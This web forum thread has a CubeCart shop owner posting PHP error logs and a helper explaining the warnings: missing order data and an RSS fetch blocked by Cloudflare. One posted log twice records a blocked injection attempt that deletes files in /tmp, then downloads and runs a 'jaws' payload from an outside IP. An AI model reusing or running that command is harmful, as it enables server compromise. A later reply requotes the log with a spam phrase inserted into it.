Claudia Posted October 2, 2023 Share Posted October 2, 2023 For the last few days I keep getting these warnings over and over in my cPanel error log. Nothing in admin error log. Thanks for any and all help [02-Oct-2023 12:53:02 America/Louisville] PHP Warning: Trying to access array offset on value of type bool in /home/cambarga/public_html/admin_OE2vfW/sources/orders.index.inc.php on line 307 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: Entity: line 1: parser error : Opening and ending tag mismatch: link line 1 and head in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: al-scale=1"><link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"></head> in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: ^ in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: Entity: line 1: parser error : xmlParseEntityRef: no name in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: ge/v1?ray=80f8b6039edadd68';window._cf_chl_opt.cOgUHash = location.hash === '' & in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: -1 ? '#' : location.hash;window._cf_chl_opt.cOgUQuery = location.search === '' & in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: 1 ? '#' : location.hash;window._cf_chl_opt.cOgUQuery = location.search === '' && in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: OgUHash.length).indexOf('?') !== -1 ? '?' : location.search;if (window.history & in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: ^ in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: gUHash.length).indexOf('?') !== -1 ? '?' : location.search;if (window.history && in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: nt.getElementsByTagName('head')[0].appendChild(cpo);}());</script></body></html> in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: ^ in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: Entity: line 1: parser error : Premature end of data in tag meta line 1 in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:34:35 America/Louisville] PHP Warning: String could not be parsed as XML in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 463 Quote Link to comment Share on other sites More sharing options...
bsmither Posted October 2, 2023 Share Posted October 2, 2023 The first one (orders.index.inc.php line 307) is when the admin is reviewing an order, and that order was created with a product(s) (or services or giftcards) that does not have any weight specified - not even zero weight. The problem is not that the shopping basket does not contain a weight value, but that PHP 8 has decided to issue a warning when code is trying to access the weight element in an array where it doesn't exist. The rest is caused by the Dashboard wanting to fetch the latest news from the RSS server located at the forums. As you may have noticed, @Al Brookbanks has implemented (again) Cloudflare's 'Anti-Bot' protection mechanism ("Verifying your site is secure."). This interferes with every ancillary function of the forums, from getting user profile popups, to ajax-requested 'mentions' list, to re-editing code windows, etc, to fetching the RSS feed. One can cancel the request to the RSS server in admin, Store Settings, Layout tab, "Default RSS URL for Admin Dashboard" by deleting the URL found there -- if not knowing about the Latest News is OK with you. Quote Link to comment Share on other sites More sharing options...
Claudia Posted October 2, 2023 Author Share Posted October 2, 2023 Thanks again Brian. The URL has been deleted. I'll look into the first one. Quote Link to comment Share on other sites More sharing options...
bsmither Posted October 2, 2023 Share Posted October 2, 2023 A closer study of the first error listed above has been posted in the Github: In orders.index.inc.php line 307, when the admin is reviewing an order where that order may have been administratively created, there may not be any serialized data held in CubeCart_order_summary, 'basket' column. If not, $basket_array will be false. Quote Link to comment Share on other sites More sharing options...
Claudia Posted October 5, 2023 Author Share Posted October 5, 2023 I made the changes as suggested in GITHub PHP 8 Warning #3397 - $basket_array['weight'] ?? 0. Now I get these warnings. I know some are not related. [04-Oct-2023 15:32:50 America/Louisville] PHP Warning: Security Warning: Illegal array key "cd_/tmp;rm_-rf_*;wget_94_158_247_123/jaws;sh_/tmp/jaws" was detected and was removed. in /home/xxxxxxx/public_html/classes/sanitize.class.php on line 114 [04-Oct-2023 17:22:29 America/Louisville] PHP Deprecated: ucwords(): Passing null to parameter #1 ($string) of type string is deprecated in /home/xxxxxxx/public_html/cache/skin/c6ff5523b42eda7c097b9ded7c507de36a425832_0.file.orders.index.php.php on line 673 [04-Oct-2023 17:30:45 America/Louisville] PHP Warning: Undefined array key "productOptions" in /home/xxxxxxx/public_html/admin_OE2vfW/sources/orders.index.inc.php on line 91 [04-Oct-2023 17:57:09 America/Louisville] PHP Warning: Undefined array key "productOptions" in /home/xxxxxxx/public_html/admin_OE2vfW/sources/orders.index.inc.php on line 116 [04-Oct-2023 17:57:09 America/Louisville] PHP Warning: Undefined array key "custom" in /home/xxxxxxx/public_html/admin_OE2vfW/sources/orders.index.inc.php on line 124 [04-Oct-2023 18:28:51 America/Louisville] PHP Warning: Undefined array key "cart_order_id" in /home/xxxxxxx/public_html/classes/cubecart.class.php on line 2778 [05-Oct-2023 03:50:09 UTC] PHP Fatal error: Uncaught mysqli_sql_exception: No such file or directory in /home/xxxxxxx/public_html/classes/db/mysqli.class.php:37 Stack trace: #0 /home/xxxxxxx/public_html/classes/db/mysqli.class.php(37): mysqli->__construct() #1 /home/xxxxxxx/public_html/classes/db/mysqli.class.php(64): Database->__construct() #2 /home/xxxxxxx/public_html/controllers/controller.index.inc.php(22): Database::getInstance() #3 /home/xxxxxxx/public_html/index.php(27): include('/home/cambarga/...') #4 {main} thrown in /home/xxxxxxx/public_html/classes/db/mysqli.class.php on line 37 [04-Oct-2023 23:50:46 America/Louisville] PHP Warning: Invalid Security Token in /home/xxxxxxx/public_html/classes/sanitize.class.php on line 155 [04-Oct-2023 23:50:46 America/Louisville] PHP Warning: Undefined global variable $_GET in /home/xxxxxxx/public_html/includes/functions.inc.php on line 218 [05-Oct-2023 05:47:24 America/Louisville] PHP Warning: Security Warning: Illegal array key "cd_/tmp;rm_-rf_*;wget_121_62_21_23/jaws;sh_/tmp/jaws" was detected and was removed. in /home/xxxxxxx/public_html/classes/sanitize.class.php on line 114 Quote Link to comment Share on other sites More sharing options...
bsmither Posted October 5, 2023 Share Posted October 5, 2023 Please see the Github issue #3204 for what is happening with ucwords(). The MySQLi Exception is strange, but maybe it was just a one-time glitch. Other undefined keys are from adding or updating items in an existing order's shopping basket where those items do not have any options assigned (or might not have the web form element to assign any options). Ignore the rest. Quote Link to comment Share on other sites More sharing options...
Claudia Posted October 5, 2023 Author Share Posted October 5, 2023 Thanks Brian! Quote Link to comment Share on other sites More sharing options...
BrettLee6 Posted April 17 Share Posted April 17 (edited) On 10/2/2023 at 10:05 AM, Claudia said: For the last few days I keep getting these warnings over and over in my cPanel error log. Nothing in admin error log. Thanks for any and all help [02-Oct-2023 12:53:02 America/Louisville] PHP Warning: Trying to access array offset on value of type bool in /home/cambarga/public_html/admin_OE2vfW/sources/orders.index.inc.php on line 307 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: Entity: line 1: parser error : Opening and ending tag mismatch: link line 1 and head in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: al-scale=1"><link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"></head> in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: ^ in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: Entity: line 1: parser error : xmlParseEntityRef: no name in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: ge/v1?ray=80f8b6039edadd68';window._cf_chl_opt.cOgUHash = location.hash === '' & in find best comparisions at Compar Colchon /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: -1 ? '#' : location.hash;window._cf_chl_opt.cOgUQuery = location.search === '' & in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: 1 ? '#' : location.hash;window._cf_chl_opt.cOgUQuery = location.search === '' && in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: OgUHash.length).indexOf('?') !== -1 ? '?' : location.search;if (window.history & in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: ^ in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: gUHash.length).indexOf('?') !== -1 ? '?' : location.search;if (window.history && in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: nt.getElementsByTagName('head')[0].appendChild(cpo);}());</script></body></html> in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: ^ in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:08:00 America/Louisville] PHP Warning: SimpleXMLElement::__construct() [<a href='http://docs.php.net/manual/en/simplexmlelement.construct.php'>simplexmlelement.construct.php</a>]: Entity: line 1: parser error : Premature end of data in tag meta line 1 in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 439 [02-Oct-2023 11:34:35 America/Louisville] PHP Warning: String could not be parsed as XML in /home/xxxxxxx/public_html/admin_OE2vfW/sources/dashboard.index.inc.php on line 463 These PHP warnings indicate XML parsing problems, possibly due to syntax errors or conflicts with external resources in the mentioned files. Edited April 17 by BrettLee6 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.